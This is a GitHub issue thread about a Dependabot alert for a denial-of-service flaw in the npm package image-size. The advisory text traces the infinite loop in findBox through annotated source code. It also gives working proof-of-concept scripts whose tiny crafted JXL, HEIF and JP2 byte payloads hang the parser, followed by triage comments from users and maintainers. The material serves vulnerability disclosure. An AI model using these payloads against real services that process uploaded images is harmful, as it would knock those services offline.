Dependabot alerts: image-size Denial of Service via Infinite Loop during Image Processing

Transitive dependency image-size 1.2.0 is introduced via
@react-native/metro-config 0.81.4 ... image-size 1.2.0
react-native 0.81.4 ... image-size 1.2.0

Package: image-size(npm)
Affected versions: >= 1.1.0, < 1.2.1
Patched version: 1.2.1

Summary
image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details
If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys. Find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
PoC
Usage:

node main.js poc1|poc2
poc for image-size@2.0.1

// mkdir 2.0.1
// cd 2.0.1/
// npm i image-size@2.0.1
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() { 
  (async () => {
    await imageSizeFromFile(FILENAME)
    console.log('Done') // never executed
  })();
}

function poc2() {
  imageSize(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

poc for image-size@1.2.0

// mkdir 1.2.0
// cd 1.2.0/
// npm i image-size@1.2.0
const sizeOf = require("image-size");
const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

poc for image-size@1.1.1

// mkdir 1.1.1
// cd 1.1.1/
// npm i image-size@1.1.1
const sizeOf = require("image-size");
const fs = require('fs');

// HEIF
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x66, 0x74, 0x79, 0x70, // "ftyp"
  0x61, 0x76, 0x69, 0x66  // "avif"
]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

Impact
Denial of Service

any news about this issue?

any updates?

Any update? image-size is now unmaintained on GitHub

image-size is now maintained on Codeberg.

I haven't seen any sign that Metro can be exploited by the DoS mentioned, since the CVE presupposes an attacker can supply the image, which isn't true in the case of Metro's local processing (unless the attacker already controls your system).

Please do re-open if a vulnerability can be demonstrated in Metro.

fix(deps): own the image-size ICNS fix (CVE-2025-71330), evidence the…

Clear all 17 Component Governance alerts in the RN harness lockfiles (#…

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Dependabot alerts: image-size Denial of Service via Infinite Loop during Image Processing #1607

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Dependabot alerts: image-size Denial of Service via Infinite Loop during Image Processing #1607

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alessioemireni commented on Feb 23, 2026

aderiushev commented on Jul 3, 2026

joshfaltia commented on Jul 9, 2026

robhogan commented on Jul 29, 2026

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